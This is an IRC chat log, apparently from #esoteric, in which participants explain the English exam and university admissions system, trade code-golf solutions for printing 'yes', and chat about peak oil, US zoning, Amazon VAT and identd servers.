19:13:47 <Phantom_Hoover> (Note: this is only possible due to Scotland being the spoilt daddy's boy of the UK.)
19:14:07 <elliott> ONE OF THESE DAYS WE'LL KICK YOU OUT
19:14:26 <pikhq> US colleges actually have to have remedial courses for students.
19:14:33 <Phantom_Hoover> elliott, ISTR reading that the most recent budget thing was basically more of the same.
19:14:35 <kfr> If you live in a city you generally don't need a car around here either
19:14:38 <pikhq> Courses that cover "everything you should have learned in high school".
19:14:42 <ais523> elliott: let's settle this: http://golf.shinh.org/p.rb?Yes
19:14:42 <elliott> Phantom_Hoover: ONE OF THESE DAYS
19:14:46 <elliott> I'M GOING TO CUT YOU INTO LITTLE PIECES
19:14:48 <kfr> I've been going pretty much everywhere by bike since the age of 6
19:14:56 <kfr> I inherited a car when I was 14 but I sold it
19:14:57 <elliott> ais523: hahahahahaha
19:15:08 <Phantom_Hoover> elliott, we seem to want to kick ourselves out.
19:15:26 <pikhq> (fortunately, they don't actually count towards a degree. They're just prereqs for classes if you fail a "show you aren't a complete moron" test.)
19:15:43 <elliott> ais523: someone just submitted a 16 byte perl solution with no name ...
19:15:45 <elliott> was that you?
19:15:53 <ais523> yep, by mistake
19:15:59 <ais523> I'll resubmit with my actual name
19:16:03 <elliott> hmm, do newlines in the form submission still count as \r\n?
19:16:04 <pikhq> kfr: Nearly impossible here.
19:16:05 <Phantom_Hoover> ais523, can you give me a precis of the education system in England? I don't really know how it works.
19:16:07 <elliott> rather than \n
19:16:23 <elliott> Phantom_Hoover: you do school, then some more school, then you get your GCSEs, then you do 4 subjects at sixth form except it then becomes 3
19:16:30 <elliott> then you go to university and get into massive debt
19:16:32 <elliott> any questions?
19:16:47 <ais523> Phantom_Hoover: potentially you go to nursery when very young, although that has nothing to do with the state
19:17:10 <Phantom_Hoover> I thought the debt was really weaksauce debt that was written off if you didn't get around to paying it?
19:17:11 <elliott> :t replicate
19:17:12 <lambdabot> forall a. Int -> a -> [a]
19:17:18 <elliott> :t repeat
19:17:19 <lambdabot> forall a. a -> [a]
19:17:22 <elliott> @hoogle [a] -> Int -> [a]
19:17:22 <lambdabot> Prelude drop :: Int -> [a] -> [a]
19:17:22 <lambdabot> Prelude take :: Int -> [a] -> [a]
19:17:22 <lambdabot> Data.List drop :: Int -> [a] -> [a]
19:17:24 <ais523> when you're around 5 you start going to primary school (year 1), which is the first compulsory year for full-time education; some schools optionally start earlier
19:17:27 <elliott> hmm
19:17:29 <kfr> pikhq is that because people don't live close to where they work?
19:17:34 <ais523> typically one year earlier, although the school I went to started two years earlier
19:17:37 <kfr> Do people live outside the city?
19:17:38 <pikhq> kfr: s/don't/generally can't/
19:17:44 <ais523> and years before 1 have weird and not necessarily consistent names
19:17:46 <Phantom_Hoover> kfr, we just discussed that for ages.
19:17:53 <elliott> :t cycle
19:17:53 <lambdabot> forall a. [a] -> [a]
19:17:57 <ais523> you stay there until year 7, when you're 11
19:18:10 <Phantom_Hoover> They don't know what stairs are in the US and they hate living next to other people.
19:18:12 <pikhq> kfr: It's really easy to be "in" a city and 10 miles away from the nearest *store*. Much less work.
19:18:16 <elliott> > unwords $ replicate 5 "yes"
19:18:17 <lambdabot> "yes yes yes yes yes"
19:18:23 <elliott> > concat$replicate 5"yes "
19:18:24 <lambdabot> "yes yes yes yes yes "
19:18:24 <ais523> there are mandatory exams called the SATs throughout this period (not the same ones as in the US), on specific years, which I forget
19:18:36 <ais523> but nothing particularly bad happens if you flunk them apart from the school getting annoyed, because it reflects badly on them
19:18:48 <ais523> err, you stay ther until year 6
19:19:03 <ais523> year 7 is the first year of "secondary school", which is generally an unrelated school to the primary school
19:19:07 <kfr> <pikhq> kfr: It's really easy to be "in" a city and 10 miles away from the nearest *store*. Much less work.
19:19:09 <elliott> ais523: my bad haskell solution:
19:19:10 <elliott> main=interact$unwords.(`replicate`"yes").(`div`2).length
19:19:14 <pikhq> kfr: http://upload.wikimedia.org/wikipedia/commons/0/03/San_Jose_California_aerial_view_south.jpg
19:19:23 <kfr> Oh hm
19:19:26 <kfr> Odd stuff :|
19:19:31 <pikhq> That's all residential.
19:19:35 <ais523> and you stay there until year 11
19:19:45 <kfr> I'm used to cities being a totally random mix of stores, flats, bureaus etc
19:19:54 <kfr> I've been to the US though
19:19:57 <kfr> Newark/Manhattan
19:19:59 <ais523> there are SATs again on year 9, which are a little more important because the school normally uses them to determine what max grade of GCSE to enter you at
19:20:13 <ais523> then years 10 and 11 are dedicated to the GCSEs, which happen at the end of year 11
19:20:22 <pikhq> Not here. Zoning laws try to clump like things together, and encourage absurd sprawl.
19:20:25 <ais523> (and you can do them earlier in that time period; normally, a few papers will be earlier to avoid a rush)
19:20:27 <copumpkin> SMT > SAT
19:20:40 <pikhq> You literally *can't* legally put a store in many of those residential areas.
19:20:45 <elliott> ais523: insufficient appreciation of my fun haskell solution!
19:21:00 -!- Tritonio has joined.
19:21:07 <ais523> typically schools have a lot of compulsory GSCEs (English, English Literature, Maths, at least single Combined Science, and a modern foreign lanugage)
19:21:11 <kfr> pikhq yeah somebody from the US told me about that before
19:21:19 <ais523> and a requirement to do a certain number of optional GCSEs beyond that
19:21:27 <Phantom_Hoover> <pikhq> Not here. Zoning laws try to clump like things together, and encourage absurd sprawl. ← wait, so city planning is that used in Sim City?
19:21:44 <kfr> I'm 24 and I've only lived in two places so far in two different cities and in both cases the super markets I primarily bought stuff from were 800 m and 1100 m from where I lived
19:21:44 <ais523> (note: I didn't do all the compulsory ones, for various insane reasons most of which were my fault)
19:21:48 <kfr> So, pretty close
19:21:53 <ais523> Phantom_Hoover: still reading, btw?
19:21:53 <kfr> Short bike ride, very convenient
19:22:00 <pikhq> Phantom_Hoover: Yes, that's the inspiration for Sim City's zoning.
19:22:08 <Phantom_Hoover> ais523, yes.
19:22:22 <Phantom_Hoover> How did you get out of English Literature, BtW?
19:22:34 <ais523> scoring 0 on the appropriate SAT
19:22:41 <ais523> out of protest at the stupidity of the questions
19:22:56 <ais523> actually, that was the "mock" SAT we used for practice
19:22:58 <elliott> ais523: I'm winning!
19:22:59 <elliott> with awk
19:23:14 <Phantom_Hoover> http://www.julia-chandler.co.uk/images/Edinburgh-arial.jpg
19:23:14 <ais523> the official one, I was conveniently absent for so I didn't affect the school's statistics ;-)
19:23:17 <elliott> <ais523> (note: I didn't do all the compulsory ones, for various insane reasons most of which were my fault)
19:23:18 <elliott> s/fault/achievement/
19:23:21 <Phantom_Hoover> Cool, my old house is in that picture.
19:23:28 <elliott> (also, "for so"?)
19:24:16 <kfr> http://farm3.static.flickr.com/2180/1811076056_2b482fedf6.jpg?v=0
19:24:17 <Phantom_Hoover> elliott, "from in order that"?
19:24:22 <elliott> :D
19:24:23 <ais523> now, the insane things about the SATs - which nobody really cares about - and the GCSEs - which people /do/ care about - are that when a student is entered for them, the school chooses the maximum mark in advance
19:24:39 <Phantom_Hoover> ais523, what?
19:24:40 <kfr> ais523 that sounds so... wrong
19:24:45 <ais523> which is a number from 0 to 8, or possibly 9, in the SATs, and a grade from A to G in the GCSEs
19:24:54 <ais523> (Maths SATs go higher, for some reason)
19:24:57 <Phantom_Hoover> Maxim... wait, you can't get better than what the school prescribe?
19:25:14 -!- asiekierka has quit (Remote host closed the connection).
19:25:18 <pikhq> Come peak oil, most of the US is solidly fucked.
19:25:18 <ais523> the SATs are a little weird because technically the same scale's meant to measure young primary school students and secondary school students just about to start GSCE
19:25:44 <Phantom_Hoover> ais523, did I interpret the maximum mark thing correctly?
19:25:50 <elliott> who gives a shit about SATs?
19:25:51 <ais523> so the idea is that you enter the little 8-year-olds or whatever with a max mark of maybe 3 if they're clever, and the 14-year-olds with a max mark of 6 if they're stupid
19:25:55 <ais523> Phantom_Hoover: indeed
19:25:59 <Phantom_Hoover> What.
19:26:02 <Phantom_Hoover> Just, what.
19:26:06 <ais523> if you choose a lower max mark, they give you an easier paper and then scale the marks down
19:26:07 <Phantom_Hoover> What is the point of that?
19:26:08 <elliott> ais523: don't you mean foundation vs. higher?
19:26:14 <elliott> if so, that's a bit of a misrepresentation really
19:26:17 <ais523> elliott: that's what it's called in the GSCEs
19:26:20 <elliott> right
19:26:27 <elliott> Phantom_Hoover: tl;dr there's a stupid people paper and a slightly less stupid people paper
19:26:35 <elliott> and they give you the first if you're functionally retarded
19:26:37 <ais523> in SATs, it's literally "this is a grade 4 to grade 6 paper", and I think there's a paper for each 3-mark spread of grades
19:26:39 <elliott> and the second otherwise
19:26:43 <elliott> the former only goes up to C mark
19:26:46 <ais523> elliott: I thought there were three tiers, actually
19:26:50 <ais523> or have they streamlined it
19:26:58 <pikhq> kfr: Oh, BTW. A typical US store: http://upload.wikimedia.org/wikipedia/commons/a/ae/Wal-Mart_in_Madison_Heights.jpg
19:26:59 <elliott> ais523: well, it's only two for most things. i think science has some fucked up thing going on.
19:27:00 <ais523> actually, they probably did because going below even foundation shows a huge lack of ambition
19:27:08 <elliott> you could *go below foundation*?!?!?!
19:27:28 <kfr> pikhq ah they all have huge parking lots?
19:27:33 <Phantom_Hoover> elliott, there are about 4 different kinds of "fail" at Standard Grade.
19:27:34 <kfr> Because everybody goes there by car?
19:27:40 <pikhq> kfr: Yes.
19:27:55 <pikhq> kfr: Smaller stores will be bunched together with several other stores, and sharing a huge parking lot.
19:27:56 <ais523> science is triply screwed up, because in addition to the foundation vs. higher thing that determines the maximum grade, you can also choose the difficulty of the syllabus, as well as the difficulty of the paper
19:28:07 <ais523> and according to that, it counts as 1, 2, or 3 GCSEs
19:28:12 <elliott> what's the sed instruction for "grab the newline into this"?
19:28:13 <kfr> <pikhq> Come peak oil, most of the US is solidly fucked. <- well, they're just going to transition to battery powered vehicles in the next 50 years, no?
19:28:27 <elliott> ais523: you forgot TWENTY FIRST CENTURY SCIENCE
19:28:31 <elliott> sorry, *ADVANCED ETHICS
19:28:45 <ais523> for added fun, you're meant to do double science if you're planning to do science at A level, and triple science only if you're going to move onto something else but want to prove you can do science really
19:28:57 <ais523> the school I was at didn't let anyone do single science, it would have been too embarassing
19:29:00 <Phantom_Hoover> ais523, is it actually true that the Scottish exams are preferred by English universities, or is this just propaganda?
19:29:08 <olsner> kfr: you don't make much money selling oil to people with electric cars...
19:29:14 <ais523> Phantom_Hoover: that's a whole another scale of insanity, which I can get to in a bit
19:29:26 <kfr> olsner yes, that business will largely die out
19:29:30 <pikhq> olsner: You don't make much money selling non-existent oil.
19:29:37 <kfr> In 100 years from now gas stations will probably be a thing of the past
19:29:39 <ais523> anyway, once you've got the best GCSEs your school will let you at, you go to sixth form college
19:29:52 <ais523> which is often at the same school as your secondary school, but doesn't have to be
19:30:02 <pikhq> kfr: s/probably/certainly/
19:30:09 <pikhq> kfr: We don't have 100 more years of oil.
19:30:10 <Ilari> And don't forget agriculture. Done completely wrong and requires high fossil fuel inputs...
19:30:16 <ais523> alternatively, you can drop out of school altogether at this point, but are unlikely to get any work but manual labour with just GCSEs
19:30:17 <kfr> Since at that point it's probably not going to be economical to use oil derivatives
19:30:34 <ais523> sixth form college you do A levels, and the way they work is that they're each divided into six modules
19:30:55 <ais523> and there are more than six modules for each subject you can choose from, with certain combinations being illegal
19:30:57 <pikhq> The US is in for a gigantic shock, and possible complete economic collapse, come peak oil. It's really that freaking bad.
19:31:02 <kfr> pikhq well, the production is going to die down but in return so will the consumption and there will probably be untapped oil reserves for millenia to come, even ones we already know about
19:31:03 <ais523> and you can sort of mix-and-match them to make A levels
19:31:10 <kfr> But they are just too deep/impure etc
19:31:25 <ais523> and the name of your resulting qualification depends on just which ones you combine
19:31:38 <kfr> It's not like it's all going to be gone by then
19:31:40 <elliott> pekoil
19:31:58 <pikhq> I mean, I think New York City's the only major city that could survive without oil right now.
19:31:59 <ais523> you can also get an "AS level" by doing 3 rather than 6 modules; and expand it to an A level later on by doing an "A2 level", which is really just three modules that don't conflict with the first three
19:31:59 <elliott> ais523: there's AS-levels now
19:32:06 <elliott> you do four AS levels and then three A levels
19:32:08 <elliott> IIRC
19:32:20 <elliott> ais523: I don't think you can do 6 any more
19:32:29 <ais523> elliott: some schools would do four AS then three A2, expanding three of the AS levels to A levels
19:32:32 <ais523> elliott: 6 modules = 1 A level
19:32:33 <ais523> 3 modules = 1 AS level
19:32:34 <elliott> ah
19:32:43 <elliott> wtf is Pefunge
19:32:46 <kfr> pikhq why economic collapse? Does the US economy heavily depend on the oil trade?
19:33:02 <ais523> there's also General Studies, which is a compulsory A level that everyone has to do, and nobody pays any attention to, so it has no real reason for existing
19:33:09 <ais523> it's also 6 modules, but most of them are on multiple subjects
19:33:10 <kfr> I thought the people who would suffer the biggest impact from peak oil would be the OPEC countries
19:33:12 <elliott> !c printf("%d",'y'+'\n');
19:33:17 <elliott> !c printf("%d\n",'y'+'\n');
19:33:21 <pikhq> kfr: The US economy heavily depends on the consumption of oil.
19:33:22 <ais523> (seriously: you can end up with, say, a Maths and Science /module/ in General Studies)
19:33:30 <EgoBot> 131
19:33:30 <EgoBot> 131
19:33:44 <ais523> and any time an employer or university says, say, "three A levels at B or higher", they don't count General Studies
19:33:50 <ais523> so it's not entirely clear why it exists
19:34:22 <Ilari> Telling figure I have heard about US agriculture: It takes 10 barrels of oil to produce one barrel energy worth of "edible" food...
19:34:23 <ais523> anyway, generally what people aim for is three good A levels, but schools normally hedge their bets by letting students to more
19:34:26 <ais523> so they can take the best three
19:34:31 <pikhq> kfr: Without oil, the US has: Almost no shipping. Almost no purchasing. Almost no employment. Almost no agriculture.
19:34:52 <kfr> Ohh I just realised major issues with peak oil
19:34:52 <elliott> !c printf("%x\n", *((int *)"yes "))
19:34:54 <EgoBot> 20736579
19:34:57 <kfr> Regarding transportation
19:34:59 <ais523> now, when it comes to university, the admissions process is basically based on a points system
19:35:13 <kfr> Naval transport and airplanes currently don't really have a battery based solution, do they?
19:35:15 <elliott> !c printf("%d\n", *((int *)"yes "))
19:35:17 <EgoBot> 544433529
19:35:34 <kfr> Although with ships it's probably easier than with planes I imagine
19:35:36 <pikhq> We suddenly would go poor and starving.
19:35:52 <elliott> !c printf("%d %d\n", strlen("20736579")+2, strlen("544433529"));
19:35:53 <EgoBot> 10 9
19:36:03 <ais523> here we go: http://www.ucas.ac.uk/students/ucas_tariff/tarifftables/
19:36:08 <pikhq> kfr: Nuclear power for naval transport is entirely practical, if more expensive than oil right now.
19:36:18 <Ilari> Ships can be powered with nuclear reactors. For airplanes... Well...
19:36:21 <kfr> but what about the airplanes?
19:36:25 <ais523> the general rule is that you're allowed to score up to 360 points, with a number of qualifications equivalent in difficulty to around 3 A levels
19:36:33 <pikhq> I'm not sure about airplanes.
19:36:33 <kfr> Right, there are already nuclear powered submarines anyways
19:36:37 <kfr> Possibly some bigger ships, too
19:36:49 <ais523> (A levels are down on that list as "GCE", btw, which is the general term for A levels and AS levels and all that sort of thing)
19:36:50 <kfr> I mean there are ultra light airplanes which operate on solar power and such
19:37:02 <kfr> But a battery driven 747?
19:37:04 <kfr> Hmmm
19:37:07 <Ilari> There are already nuclear-powed ships...
19:37:14 <Ilari> *powered
19:37:27 <elliott> ais523: leonid just got 8 bytes for yes
19:37:31 <ais523> oh, they removed the ceiling and limits, now
19:37:42 <ais523> looks like my information is a little outdated
19:37:57 <ais523> but a typical university application requirement would be, say, "300 points from 3 qualifications"
19:38:11 <ais523> anyway, the thing about the UCAS tariff is that it includes all sorts of qualifications from all over the world
19:38:29 <ais523> Phantom_Hoover: what's the Scottish qualification that a student there would get just before going to university?
19:38:38 <Phantom_Hoover> ais523, Advanced Higher.
19:38:42 <elliott> ais523: <leonid> lame challenge
19:39:01 <Phantom_Hoover> ais523, what age do you go to university in England?
19:39:11 <ais523> Phantom_Hoover: typically 18, some students take a year off first so 19
19:39:24 <ais523> although there's no actual restriction, that's when it best fits into the education timings
19:39:35 <ais523> (you can go to university even at 50 or whatever if you've accumulated enough points)
19:39:37 <elliott> main(c){while(read(0,&c,2)>0)write(1,"yes ",4);}
19:39:41 <elliott> can anyone shorten that?
19:39:51 <elliott> <leonid> gotta spam the server on luckbased solutions
19:39:52 <Phantom_Hoover> ais523, is it at 17/18 or 18/19?
19:39:53 <elliott> lol that bastard
19:40:02 <ais523> Phantom_Hoover: 18/19, I think
19:40:14 <Phantom_Hoover> Ah, so in Scotland it's a year earlier.
19:40:22 <ais523> Phantom_Hoover: anyway, your statement about Scottish qualifications being worth more than English ones seems correct: an A at Advanced Higher seems to be worth 130, with an A at a single A-level being worth 120
19:40:40 <ais523> although they added A* at A-level last year, and it's worth 140
19:40:48 <ais523> so presumably they decided to let England outdo Scotland again
19:40:56 <elliott> main(c){while(read(0,&c,2)>0)write(1,"yes ",4);}
19:40:59 <elliott> hmm
19:41:05 <elliott> can't see how to shorten that
19:41:14 <Phantom_Hoover> ais523, what would be the typical grade at A-level?
19:41:36 <ais523> Phantom_Hoover: from a good school, you'd expect A to be more common than any other, especially nowadays
19:41:40 <ais523> although straight As to be relatively rare
19:41:56 <ais523> for instance, I got multiple As, but not straight As
19:42:58 <ais523> anyway, when you apply to university, you do it via UCAS, and list six courses you want to go on
19:43:15 <ais523> together with some information about yourself, and the grades you have so far and expect to get in the future
19:43:35 <elliott> "I've got straight As so far, but expect to start failing immediately."
19:43:37 <ais523> UCAS sends the information on to the universities that do the courses you've listed
19:44:07 <ais523> for courses which are in low demand, it's probably just done automatically, set at "300 UCAS points, not counting general studies or more than three qualifications", or something around there
19:44:20 <ais523> with people looking manually at applications that are predicted to come in below the cutoff, but not that much below
19:44:29 <ais523> (300's around typical for a course in medium demand at a good university)
19:44:44 <elliott> ais523: how do you include stdin in m4 again?
19:44:44 <ais523> for courses which are in high demand, they review them by hand, and even ask for interviews
19:44:53 <ais523> elliott: include(/dev/stdin), IIRC
19:44:56 <ais523> or maybe m4include
19:44:58 <ais523> something like that
19:45:01 <elliott> ais523: */dev/fd/0, shorter!
19:45:05 <ais523> oh, right
19:45:19 <ais523> and universities can put any restrictions they want on applying
19:45:27 * Phantom_Hoover → food
19:45:30 <ais523> normally, it's just a requirement to actually achieve your predicted grades, which is what it was for me
19:45:37 <ais523> hmm, I'll wait a while before starting this again, then
19:45:47 <ais523> Phantom_Hoover: let me know when you're back
19:46:45 <ais523> (meanwhile, for fun, /me reads the report on why UCAS decided that A-levels were an acceptable qualification for university admission)
19:47:00 <ais523> (it'd have been hilarious if they decided they weren't...)
19:47:29 <elliott> define(y,yes)changeword(`.*\n')include
19:47:29 <elliott> (/dev/fd/0)
19:47:32 <elliott> hmm, why doesn't that work...
19:47:39 <elliott> it just copies the changeword stuff literally
19:48:24 <ais523> isn't changeword a GNU extension?
19:48:38 <ais523> gah, this specification is formatted badly, the letters are random distances above the baseline
19:48:44 <elliott> ais523: yes, it is
19:48:50 <ais523> elliott: are you reading it too?
19:48:56 <elliott> <ais523> isn't changeword a GNU extension?
19:48:56 <elliott> no
19:48:59 <elliott> i was responding to that
19:49:01 <ais523> ah
19:49:06 <ais523> change/quote/ isn't
19:49:10 <ais523> but I'm not sure about change/word/
19:49:16 <elliott> indeed
19:49:20 <elliott> it's ngu
19:49:21 <elliott> *gnu
19:50:01 <ais523> "After much deliberation and discussion, and despite some reservations which could not be resolved on the basis of the evidence currently available, the Expert Group arrived at a unanimous decision that there was an indication of increased stretch and challenge in the new GCE A Level specifications, and that an A* grade should attract 140 UCAS Tariff points."
19:50:08 <elliott> hmm
19:50:08 <elliott> %s/y\n/yes /
19:50:08 <elliott> ZZ
19:50:12 <elliott> doesn't work for vi...
19:50:23 <ais523> what's the % for?
19:50:27 <elliott> ais523: global
19:50:31 <fizzie> What's up with Amazon.co.uk? The book is £K in the item description page and in the shopping cart, then when I "proceed to checkout", select my address and the "free super saver delivery" option, the item price has turned into £(K+4)
19:50:53 <ais523> fizzie: perhaps the free delivery isn't that free for the item you're buying
19:50:56 <fizzie> Approximately; K+4.13 or so more exactly.
19:51:08 <fizzie> No, it's "postage and packing £0.00".
19:51:12 <fizzie> It's the item price that changes.
19:51:15 <elliott> Why is fizzie buying from the uk.
19:51:20 <elliott> (pronounce "uck")
19:51:30 <fizzie> elliott: Because Amazon.com doesn't do free delivery into Finland?
19:51:34 <elliott> :D
19:51:39 <elliott> THEY TAKE OOR BOOKS
19:51:54 <fizzie> (And Amazon.de price is about 25% higher, and I don't think they do free delivery either.)
19:52:02 <elliott> we must eliminate this at once
19:52:11 <ais523> hmm, according to this report, A levels are 4 modules rather than 6 in most subjects nowadays
19:52:16 <kfr> Vitun Amazoni paska
19:52:23 <fizzie> And I'm not yet sure if I am buying, I don't like this price-change.
19:53:15 <elliott> fizzie: we apologise for the price change, you dirty finnish expletive!
19:53:16 <elliott> >:|
19:53:28 <elliott> that's what you get for buying books in Ks
19:53:55 -!- showstopper has joined.
19:53:55 <fizzie> Oh, it might be a VAT rate change thing.
19:54:07 <fizzie> They adjusted that by 1% not long ago here, I think.
19:54:59 <elliott> Yes, we have a vat of acid thing.
19:55:05 <elliott> showstopper: the shoe goes on i'm afraid
19:55:21 <showstopper> I was about to leave actually
19:55:27 <fizzie> "For orders being delivered to other countries within the EU, Amazon.co.uk will charge VAT according to the VAT rate applicable within that country."
19:55:29 <showstopper> Just wanted to have a quick look
19:55:30 <fizzie> Maybe it is that.
19:55:36 <ais523> fizzie: yes, that would make sense
19:55:40 <ais523> what's VAT in Finland?
19:56:02 <fizzie> 9 % for books.
19:56:22 <fizzie> 23 % in general.
19:56:37 <Phantom_Hoover> Back/
19:56:43 <ais523> ah, it's 0% for books in the UK atm, and around 20% in general (I think it was just increased)
19:57:03 <ais523> Phantom_Hoover: my research in the break indicates that my information is slightly outdated; most A-levels are 4 (larger) modules nowadays, rather than 6
19:57:07 <ais523> although Maths is still 6
19:57:23 <fizzie> Yes, the help center says the general rate was increased from 17.5 to 20, but buuks are still 0%.
19:57:33 <Phantom_Hoover> Aww, I missed my channel birthday.
19:57:40 <ais523> anyway, applying to university, you list up to 6 courses you want to go on (often the same thing at different universities, e.g. I applied for electronic engineering at Birmingham and Aston universities)
19:57:48 <elliott> HAPPY BIRFDAY FANTOM HOOFER
19:57:57 <fizzie> Yeah, the relative difference is indeed 1.09.
19:58:27 <ais523> UCAS send the applications on to the universities, who decide whether to unconditionally accept (incredibly rare due to the usual lack of information), reject (quite common), or conditionally accept (also quite common)
19:58:44 <ais523> some universities care only about points total, but it's more common to put other requirements on there too
19:58:58 <ais523> e.g. I think for me, the requirement was BBB or higher including Maths and either Physics or Chemistry
19:59:10 <ais523> (with me being able to choose the third A-level to make up the requirement)
19:59:35 <ais523> they're given predicted grades so they can determine requirements that would be likely to be met; e.g. the university already knew I was doing Maths, Physics, and Chemistry A-levels, with a prediction of at least a B in each
20:00:05 <ais523> some universities (particularly Oxford and Cambridge) have much more stringent conditional requirements, including extra exams, etc
20:00:26 <ais523> there's a qualification called STEP which is basically purely for the purpose of entrance to Cambridge for doing maths
20:00:38 <fizzie> Also now that I actually look at the final order page, there is a "see details" link that shows pre-VAT prices too.
20:00:44 <ais523> and I took it just for fun (and got the highest grade band, S, which is something like 30% higher than the next-highest grade band)
20:00:49 <elliott> not that stringent, my friend got in and he's a buffoon!
20:01:02 <ais523> elliott: hmm, do you know what his offer was?
20:01:05 <Phantom_Hoover> ais523, ah, STEP.
20:01:08 <elliott> ais523: he's told me before, but I'll ask
20:01:12 <ais523> you generally do because people tend to get very excited to receive offers
20:01:17 <Phantom_Hoover> I got given some STEP papers to stop my brain from atrophying.
20:01:30 <ais523> Phantom_Hoover: that's actually probably its real purpose
20:01:36 <elliott> ais523: "Three As I think", evidently as his Oxford education progresses his memory deteriorates
20:01:45 <elliott> "Probably the two in maths and further maths were compulsory but I forget"
20:01:47 <elliott> He seems very excited
20:02:04 <ais523> you know you're in for a fun exam when it has around 25 questions, and the instructions say you only have to do 6
20:02:09 <Phantom_Hoover> ais523, yes, except that I have ended up facing two years with no formal mathematical studies whatsoever.
20:02:17 <ais523> Phantom_Hoover: ouch
20:02:19 <Phantom_Hoover> The closest I can get is AH applied maths.
20:02:42 <ais523> that wasn't really a problem at my school, because although I was very ahead on maths, there were plenty more modules to choose from
20:02:47 <ais523> I ended up doing 13 in the end
20:03:00 -!- leonid has joined.
20:03:01 <ais523> I still have a Maths module lying around that isn't used for anything
20:03:05 <leonid> hello
20:03:08 <ais523> hi leonid
20:03:17 <leonid> please refrain from submitting boring challenges to anagol.. thanks
20:03:20 <ais523> (the computers automatically calculate the best sequence and combinations to "cash in" modules in)
20:03:22 <elliott> lol
20:03:27 <fizzie> Universities here in general have their own entrance exams, except that there's the (smaller) "paper selection" quota from which they pick by a score generated from high school final grades and the matriculation examination scores.
20:03:36 <elliott> leonid: ais can do what he wants, he's magical
20:03:45 <ais523> leonid: we were arguing over that particular task in-channel
20:04:05 <leonid> is there even anything to argue about that
20:04:12 <leonid> it's just.. print yes
20:04:30 <ais523> well, the shortest way to do it
20:04:34 <ais523> isn't that what golfing's about?
20:04:58 <leonid> well, duh
20:05:02 <elliott> 19:27:00 <ais523> yes yes | perl -pe 's/\n/ /g'
20:05:02 <elliott> 19:27:13 <ais523> actually, that g is unnecessary
20:05:02 <elliott> 19:27:20 <elliott> ais523: yes|perl -pe's/y\n/yes /'
20:05:02 <elliott> 19:27:26 <elliott> FTFY
20:05:02 <elliott> 19:27:28 <ais523> elliott: is that actually shorter?
20:05:03 <elliott> 19:27:30 <elliott> dunno :D
20:05:05 <elliott> 19:27:42 <elliott> ais523: yes|perl -pe's/y./yes /'
20:05:07 <elliott> 19:27:46 <elliott> wait
20:05:09 <elliott> 19:27:49 <elliott> . doesn't match \n does it
20:05:11 <elliott> 19:27:49 <elliott> darn
20:05:15 <elliott> [...]
20:05:17 <elliott> 19:30:40 <ais523> elliott: let's settle this: http://golf.shinh.org/p.rb?Yes
20:05:24 <leonid> s/\n/es/ works btw
20:05:25 <ais523> anagolf doesn't let you do the -pe bit without wasting loads of lines, though
20:05:50 <leonid> s/\n/es /
20:05:53 <elliott> leonid: ooh, nice
20:05:56 <leonid> forgot to put the space
20:05:59 <elliott> is that ais523's perl solution?
20:06:02 <leonid> no
20:06:05 <ais523> so the 16-byte Perl that I did (and accidentally submitted anonymously to start off with) was entirely different
20:06:16 <ais523> print"yes "for<>
20:06:22 <leonid> well yes
20:06:37 <ais523> I'd be surprised if leonid had used a different approach
20:06:47 <ais523> also, I'm not entirely convinced that's unbeatable, although it probably is
20:06:47 <leonid> that's my only 16b
20:07:18 <ais523> how did you guess that the task stemmed from an argument in #esoteric anyway?
20:07:29 <leonid> because elliott said so..
20:07:37 <ais523> oh
20:08:03 <ais523> elliott: I didn't realise you were in touch with the anagolf community
20:08:06 <elliott> #anagol
20:08:23 <ais523> yep, I'm aware of the channel
20:08:30 <elliott> I joined when you submitted :P
20:08:35 <ais523> just to see the reaction?
20:10:34 <elliott> pretty much
20:11:44 <ais523> hmm, it's not worth trying a cheat solution because it would also be 16 bytes, and operator precedence doesn't work out
20:13:39 -!- showstopper has left (?).
20:15:12 <ais523> now I'm wondering what a BF solution to that would look like
20:15:29 <ais523> you can exploit the fact that the first character is always 'y' to make your text gen a bit easier
20:16:38 <quintopia> does fungo t do GolfScript? does Ego?
20:17:21 <elliott> Fungo T.
20:17:37 <ais523> I don't think either do
20:17:45 <ais523> fungot is just BF and Underload, IIRC
20:17:45 <fungot> ais523: if i had money to buy it
20:18:00 <ais523> fungot: you do realise GolfScript doesn't cost money, right?
20:18:00 <fungot> ais523: and setslot can be implemented via cwv, i think
20:18:14 * Phantom_Hoover → tea and stuff
20:18:16 <fizzie> I think that's some sort of rudimentary sarcasm.
20:18:17 <ais523> although the possibility of embedded Ruby might be a little hard to implement in Befunge-98
20:18:27 -!- yiyus_ has joined.
20:18:47 <ais523> wow, someone with an actual ident server
20:18:56 <ais523> that doesn't happen too often...
20:19:24 <elliott> ais523: mirc comes with an identd that runs just for connection
20:19:29 <ais523> heh, apparently comex has one too
20:19:32 <ais523> elliott: ah
20:19:32 <elliott> but, er, most identds are just fake identds
20:19:37 <elliott> i.e. constant response no matter what
20:19:39 <fizzie> I resemble that remark; fungot doesn't listen to me at all if I don't have an identd running.
20:19:39 <fungot> fizzie: how about fnord
20:19:41 <ais523> hmm, would that work behind a NAT?
20:19:42 -!- yiyus has quit (Ping timeout: 240 seconds).
20:19:45 <elliott> e.g. https://github.com/cooper879/fake-identd/blob/master/identd
20:19:53 <ais523> fizzie: ingenious
20:20:43 <comex> oident 4940 0.0 0.0 1960 560 ? Ss Jan03 0:00 /usr/sbin/oidentd -mf -P 192.168.1.1 -u oident -g oident
20:20:45 <fizzie> (It's just string-matching the whole :nick!user@host prefix for the admin commands.)
20:21:03 <elliott> 12:49:14 <AnMaster> C is a language I use µemacs for
20:21:03 <elliott> i wonder if he's still crazy
20:21:05 <olsner> what does "exec is denied" imply for bash solutions?
20:21:05 <elliott> comex: so bloated
20:21:11 <elliott> olsner: it's ignored
20:21:26 <ais523> elliott: the date would be more useful than the times
20:21:31 <fizzie> oidentd is what I'm running too; whatever was there by default didn't listen for IPv6.
20:21:42 <comex> not my server, though
20:21:46 <comex> I wouldn't have bothered ;p
20:21:49 <elliott> ais523: it's just copy-paste
20:22:07 <ais523> elliott: really? I thought it meant you could use only bash builtins
20:22:14 <elliott> ais523: naw
20:22:21 <elliott> i don't think
20:22:22 <elliott> ask leonid :P
20:22:28 <leonid> me what
20:22:39 <ais523> whether bash respects exec-is-denied
20:22:43 <leonid> it doesn't
20:23:03 <ais523> not even to, say, perl(1) or ruby(1)?
20:23:35 <leonid> ??
20:24:47 <ais523> I mean, could you just say perl -e '16 byte perl solution here' and have it work?
20:24:49 <ais523> I should try that
20:24:55 <leonid> it works
20:25:15 <leonid> everything other than socket-related stuff is allowed
